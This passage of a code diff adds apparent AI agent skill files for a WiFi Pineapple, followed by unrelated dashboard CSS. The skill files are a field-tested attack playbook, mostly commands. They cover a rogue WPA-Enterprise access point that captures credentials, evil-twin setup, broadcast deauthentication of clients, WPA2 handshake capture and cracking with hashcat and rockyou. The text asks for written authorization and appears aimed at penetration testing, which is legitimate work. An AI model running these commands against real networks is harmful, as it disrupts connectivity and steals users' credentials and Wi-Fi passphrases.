(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
|
||||
802.1X configuration (no EAP authenticator configured)"). Working engine,
|
||||
run entirely by Mark VIII on phy1 outside the daemon's interface set:
|
||||
|
||||
```sh
|
||||
iw phy phy1 interface add wlan1ent type managed
|
||||
iw dev wlan1ent set type ap && ip link set wlan1ent up
|
||||
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
|
||||
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
|
||||
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
|
||||
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
|
||||
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
|
||||
```
|
||||
|
||||
Captured credentials flow to pineapd's socket and land in
|
||||
`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
|
||||
pid, `iw dev wlan1ent del`, resume hop.
|
||||
|
||||
## Access
|
||||
|
||||
```sh
|
||||
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
|
||||
```
|
||||
|
||||
- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
|
||||
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
|
||||
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
|
||||
|
||||
## What runs on the box
|
||||
|
||||
| Process | Managed by | Purpose | Socket |
|
||||
|---|---|---|---|
|
||||
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
|
||||
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
|
||||
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
|
||||
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
|
||||
|
||||
## Command surface
|
||||
|
||||
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
|
||||
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
|
||||
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
|
||||
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
|
||||
|
||||
## Config & persistence (the hard-won rules)
|
||||
|
||||
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
|
||||
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
|
||||
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
|
||||
```sh
|
||||
cp /etc/config/wireless /etc/config/wireless.bak
|
||||
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
|
||||
wifi reload
|
||||
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
|
||||
```
|
||||
|
||||
## pineapd health & the crash-loop
|
||||
|
||||
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
|
||||
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
|
||||
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
|
||||
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
|
||||
|
||||
## Recon DB
|
||||
|
||||
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
|
||||
|
||||
```sh
|
||||
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
||||
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
||||
```
|
||||
|
||||
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
|
||||
|
||||
## Captures
|
||||
|
||||
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
|
||||
```sh
|
||||
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
|
||||
```
|
||||
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
|
||||
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
|
||||
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
|
||||
```sh
|
||||
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
|
||||
```
|
||||
- Stop captures: `killall tcpdump` (`pkill` missing).
|
||||
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
|
||||
|
||||
## Verification & troubleshooting
|
||||
|
||||
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
|
||||
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
|
||||
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
|
||||
|
||||
## Teardown & hygiene
|
||||
|
||||
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
|
||||
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
|
||||
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
|
||||
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
|
||||
@@ -0,0 +1,138 @@
|
||||
---
|
||||
name: wifi-deauth
|
||||
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
|
||||
---
|
||||
|
||||
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
|
||||
|
||||
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
|
||||
|
||||
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
|
||||
|
||||
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
|
||||
|
||||
## 1. Discover target APs (passive recon first)
|
||||
|
||||
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
|
||||
|
||||
```sh
|
||||
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
||||
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
||||
```
|
||||
|
||||
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
|
||||
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
|
||||
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
|
||||
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
|
||||
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
|
||||
|
||||
## 2. Deauth (the working method)
|
||||
|
||||
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
|
||||
|
||||
```sh
|
||||
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
|
||||
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
|
||||
```
|
||||
|
||||
- MACs with colons work. Channel should be the AP's actual channel.
|
||||
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
|
||||
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
|
||||
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
|
||||
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
|
||||
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
|
||||
|
||||
## 3. Channel pinning — what works and what crashes
|
||||
|
||||
| Method | Result |
|
||||
|---|---|
|
||||
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
|
||||
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
|
||||
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
|
||||
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
|
||||
|
||||
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
|
||||
|
||||
## 4. Handshake capture — where built-in capture fails and the workaround
|
||||
|
||||
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
|
||||
|
||||
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
|
||||
|
||||
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
|
||||
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
|
||||
monitor can hear, even when the client refuses the evil twin entirely. In a
|
||||
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
|
||||
rejections from the karma twin and never associated — but when it
|
||||
reconnected to the REAL AP, pineapd logged:
|
||||
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
|
||||
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
|
||||
own. The monitor must be on the real AP's channel (on this lab unit the
|
||||
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
|
||||
The exported hashcat line verified against the target SSID:
|
||||
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
|
||||
Clients that DO associate to the twin also produce `hostap_handshake` rows
|
||||
(roaming client verified), so both paths produce loot.
|
||||
|
||||
```sh
|
||||
# single session: background tcpdump, run deauth rounds, listen, kill.
|
||||
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
|
||||
... deauth bursts on the same channel ...
|
||||
sleep <listen window, e.g. 60-90s>
|
||||
kill $TDPID
|
||||
```
|
||||
|
||||
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
|
||||
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
|
||||
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
|
||||
|
||||
Analysis one-liners:
|
||||
```sh
|
||||
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
|
||||
tshark -r cap -Y eapol -c 10 # 4-way keys
|
||||
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
|
||||
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
|
||||
```
|
||||
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
|
||||
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
|
||||
|
||||
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
|
||||
|
||||
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
|
||||
|
||||
**Verified tell-tales on the lab venue:**
|
||||
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
|
||||
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
|
||||
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
|
||||
|
||||
A fresh 4-way occurs only on:
|
||||
1. A **brand-new client's first association** (new person/device arriving), or
|
||||
2. A **GTK rekey** (AP-side, typically hourly).
|
||||
|
||||
Mitigations / planning:
|
||||
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
|
||||
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
|
||||
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
|
||||
|
||||
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
|
||||
|
||||
```sh
|
||||
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
|
||||
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
|
||||
|
||||
## 7. Report language when no handshake is captured
|
||||
|
||||
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
|
||||
|
||||
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
|
||||
|
||||
## 8. Teardown
|
||||
|
||||
```sh
|
||||
killall tcpdump # pkill is NOT on this BusyBox
|
||||
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
|
||||
```
|
||||
|
||||
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
|
||||
@@ -185,7 +185,15 @@ body {
|
||||
.badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; }
|
||||
.badge.on { background: #e8f5e9; color: #2e7d32; }
|
||||
.badge.off { background: #fff3e0; color: #e65100; }
|
||||
.badge.warn { background: #fff8e1; color: #f57f17; }
|
||||
.badge.unknown { background: #eeeeee; color: #616161; }
|
||||
.health-chip { font-size: 11px; font-weight: 600; letter-spacing: .04em; padding: 2px 8px; border-radius: 10px; margin-left: 10px; align-self: center; }
|
||||
.health-chip.good { background: #e8f5e9; color: #2e7d32; }
|
||||
.health-chip.warn { background: #fff8e1; color: #f57f17; }
|
||||
.health-chip.bad { background: #fdecea; color: #b71c1c; }
|
||||
html.dark .health-chip.good { background: #1b3a24; color: #81c784; }
|
||||
html.dark .health-chip.warn { background: #3d3313; color: #ffd54f; }
|
||||
html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
|
||||
.btn {
|
||||
background: var(--primary); color: #fff; border: 0; border-radius: 2px;
|
||||
padding: 8px 14px; font-size: 14px; cursor: pointer;
|
||||
@@ -293,29 +301,54 @@ html.dark .sel { background: #424242; border-color: #545454; color: #fff; }
|
||||
html.dark .muted { color: #bdbdbd; }
|
||||
|
||||
/* ---- Recon (Mark VII parity) ---- */
|
||||
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; justify-content: space-between; gap: 10px; margin: 8px 0 16px; }
|
||||
.recon-title-card { flex: 1 1 220px; min-width: 220px; margin-bottom: 1em; }
|
||||
.recon-card { background: var(--surface); border-radius: 2px; box-shadow: var(--shadow); height: 200px; padding: 12px 16px; display: flex; flex-direction: column; }
|
||||
.recon-title-card-title { font-size: 20px; margin-bottom: 15px; display: flex; align-items: center; color: var(--text); }
|
||||
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; gap: 10px; margin: 8px 0 16px; }
|
||||
.recon-card {
|
||||
flex: 1 1 0; min-width: 170px; height: 190px;
|
||||
background: var(--surface); border-radius: 2px; box-shadow: var(--shadow);
|
||||
padding: 12px 14px; display: flex; flex-direction: column;
|
||||
}
|
||||
.recon-card-title {
|
||||
font-size: 12px; text-transform: uppercase; letter-spacing: .05em;
|
||||
color: var(--muted); margin-bottom: 6px; display: flex; align-items: center;
|
||||
}
|
||||
.recon-card-title-link { color: inherit; text-decoration: none; }
|
||||
.recon-card-title-link:visited { color: inherit; }
|
||||
.recon-card-title-link:hover { text-decoration: underline; }
|
||||
.recon-title-card-content { display: flex; justify-content: center; align-items: center; height: 70%; }
|
||||
.recon-chart-box { width: 100%; height: 150px; position: relative; }
|
||||
.recon-chart-box canvas { width: 100%; height: 100%; }
|
||||
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; padding: 12px; }
|
||||
.recon-hs-col { display: flex; flex-direction: column; justify-content: center; align-items: center; }
|
||||
.recon-card-title-link:hover { color: var(--primary); text-decoration: underline; }
|
||||
.recon-card-body { display: flex; flex-direction: column; flex: 1; min-height: 0; }
|
||||
.recon-card-value {
|
||||
font-size: 26px; font-weight: 700; line-height: 1.15; color: var(--text);
|
||||
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
|
||||
}
|
||||
.recon-card-sub {
|
||||
font-size: 12px; color: var(--muted); margin: 1px 0 6px; min-height: 16px;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.recon-chart-box { position: relative; flex: 1; min-height: 0; margin-top: auto; }
|
||||
.recon-chart-box canvas { position: absolute; inset: 0; width: 100%; height: 100%; }
|
||||
#recon-encryption, #recon-landscape { position: static; display: block; width: 112px; height: 112px; margin: 0 auto; }
|
||||
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; align-items: center; padding: 8px; text-align: center; }
|
||||
.recon-chart-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
|
||||
.recon-chart-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
|
||||
.recon-chart-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
|
||||
.recon-chart-label { color: var(--muted); }
|
||||
.recon-chart-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
|
||||
.recon-hs-count { font-size: 32px; font-weight: 700; line-height: 1.1; }
|
||||
.recon-hs-label { color: grey; margin: 2px 0 10px; }
|
||||
.recon-toggle { display: flex; align-items: center; gap: 8px; font-size: 13px; color: var(--text); margin: 0; cursor: pointer; }
|
||||
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; }
|
||||
.recon-ps-row .sel { width: 100%; }
|
||||
.recon-hs-label { color: var(--muted); font-size: 12px; margin: 1px 0 8px; }
|
||||
.recon-toggle { display: flex; align-items: center; gap: 6px; font-size: 12px; color: var(--text); margin: 0; cursor: pointer; flex-wrap: wrap; min-width: 0; }
|
||||
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; margin-top: 2px; }
|
||||
.recon-ps-row .sel { width: 100%; font-size: 12px; padding: 4px 6px; }
|
||||
.recon-ps-actions { display: flex; align-items: center; gap: 2px; margin-top: 4px; }
|
||||
.recon-ps-actions .icon-btn { width: 28px; height: 28px; }
|
||||
.recon-ps-actions .icon-btn svg { width: 18px; height: 18px; }
|
||||
.icon-btn { background: transparent; color: var(--muted); border: 0; border-radius: 50%; width: 36px; height: 36px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; }
|
||||
.icon-btn:hover { background: var(--surface-alt); color: var(--text); }
|
||||
.icon-btn:disabled { opacity: .38; cursor: default; }
|
||||
.icon-btn svg { width: 22px; height: 22px; }
|
||||
.recon-scan-bar { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; }
|
||||
.recon-scan-bar .sel { width: auto; }
|
||||
.recon-scan-status { font-size: 12px; }
|
||||
.recon-scan-status.warn { color: #b26a00; }
|
||||
html.dark .recon-scan-status.warn { color: #ffb74d; }
|
||||
.recon-table-head { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; flex-wrap: wrap; }
|
||||
.recon-table-head h2 { margin: 0; }
|
||||
.recon-search { max-width: 180px; }
|
||||
@@ -324,6 +357,9 @@ html.dark .muted { color: #bdbdbd; }
|
||||
.recon-paginator .icon-btn svg { width: 18px; height: 18px; }
|
||||
.recon-row-selected td { background: #eaeaea; }
|
||||
html.dark .recon-row-selected td { background: #565656; }
|
||||
.recon-row-compare td { background: rgba(25, 118, 210, .08); }
|
||||
html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
|
||||
.recon-gps-cell { font-variant-numeric: tabular-nums; }
|
||||
.recon-settings-sidebar {
|
||||
position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50;
|
||||
background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px;
|
||||
@@ -348,12 +384,70 @@ html.dark .recon-row-selected td { background: #565656; }
|
||||
.recon-focus-body { margin-top: 18px; }
|
||||
.recon-focus-body-title { font-size: 16px; margin-bottom: 8px; color: var(--text); }
|
||||
.recon-focus-action-button { width: 100%; margin-bottom: 5px; }
|
||||
.recon-focus-twin { background: var(--ok); }
|
||||
.recon-focus-twin:hover { background: #689f38; }
|
||||
.recon-focus-detail { display: flex; justify-content: space-between; gap: 10px; padding: 3px 0; border-bottom: 1px solid var(--border); font-size: 13px; }
|
||||
.recon-focus-detail-label { color: var(--muted); flex: none; }
|
||||
.recon-sort-arrow { color: var(--muted); font-size: 11px; }
|
||||
th.recon-sorted { color: var(--primary); }
|
||||
.recon-per { width: auto; }
|
||||
|
||||
/* ---- Recon supercharge: dBm bars, chips, pills ---- */
|
||||
.recon-dbm-cell { display: inline-flex; align-items: center; gap: 8px; white-space: nowrap; }
|
||||
.recon-dbm-bar { display: inline-block; width: 46px; height: 6px; border-radius: 3px; background: var(--surface-alt); overflow: hidden; vertical-align: middle; }
|
||||
html.dark .recon-dbm-bar { background: #333; }
|
||||
.recon-dbm-fill { display: block; height: 100%; border-radius: 3px; }
|
||||
.recon-dbm-val { font-variant-numeric: tabular-nums; }
|
||||
.recon-chips-row { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 4px 0 10px; }
|
||||
.recon-chips-label { font-size: 11px; text-transform: uppercase; letter-spacing: .06em; color: var(--muted); margin: 0 2px 0 8px; }
|
||||
.recon-chips-label:first-child { margin-left: 0; }
|
||||
.recon-chip { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; }
|
||||
.recon-chip:hover { color: var(--text); border-color: var(--primary); }
|
||||
.recon-chip.active { background: var(--primary); border-color: var(--primary); color: #fff; }
|
||||
.recon-pill { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; display: inline-flex; align-items: center; gap: 5px; max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.recon-pill:hover { color: var(--text); border-color: var(--primary); }
|
||||
.recon-pill:disabled { opacity: .5; cursor: default; }
|
||||
.recon-pill.on { background: #e8f5e9; border-color: #a5d6a7; color: #2e7d32; }
|
||||
html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
|
||||
|
||||
/* ---- Recon compare + selection ---- */
|
||||
.recon-compare-hint { font-size: 12px; color: var(--muted); margin: -4px 0 8px; }
|
||||
.recon-compare-empty { margin: 6px 0; }
|
||||
.recon-compare-legend { display: flex; flex-wrap: wrap; gap: 12px; margin-top: 6px; }
|
||||
.recon-compare-legend-item { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; }
|
||||
.recon-compare-swatch { width: 10px; height: 10px; border-radius: 50%; flex: none; }
|
||||
.recon-compare-sig { color: var(--muted); font-variant-numeric: tabular-nums; }
|
||||
.recon-cmp-check { display: inline-flex; }
|
||||
.recon-cmp-check input { width: auto; }
|
||||
.recon-sel-chips { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 2px 0 6px; }
|
||||
.recon-sel-chips.hidden { display: none; }
|
||||
.recon-sel-chip { display: inline-flex; align-items: center; gap: 5px; border: 1px solid var(--primary); border-radius: 12px; padding: 2px 8px 2px 11px; font-size: 12px; color: var(--text); background: var(--surface-alt); }
|
||||
.recon-sel-chip-x { cursor: pointer; color: var(--muted); font-weight: 700; padding: 0 2px; }
|
||||
.recon-sel-chip-x:hover { color: #e53935; }
|
||||
.recon-sel-clear { padding: 2px 10px; font-size: 12px; }
|
||||
|
||||
/* ---- Recon channel map ---- */
|
||||
.recon-map-sub { font-size: 12px; color: var(--muted); margin: -4px 0 6px; }
|
||||
.recon-map-chips { margin: 0 0 6px; }
|
||||
.recon-chip.disabled { opacity: .45; cursor: default; }
|
||||
.recon-chip.disabled:hover { color: var(--muted); border-color: var(--border); }
|
||||
.recon-map-box { position: relative; }
|
||||
.recon-map-box canvas { display: block; }
|
||||
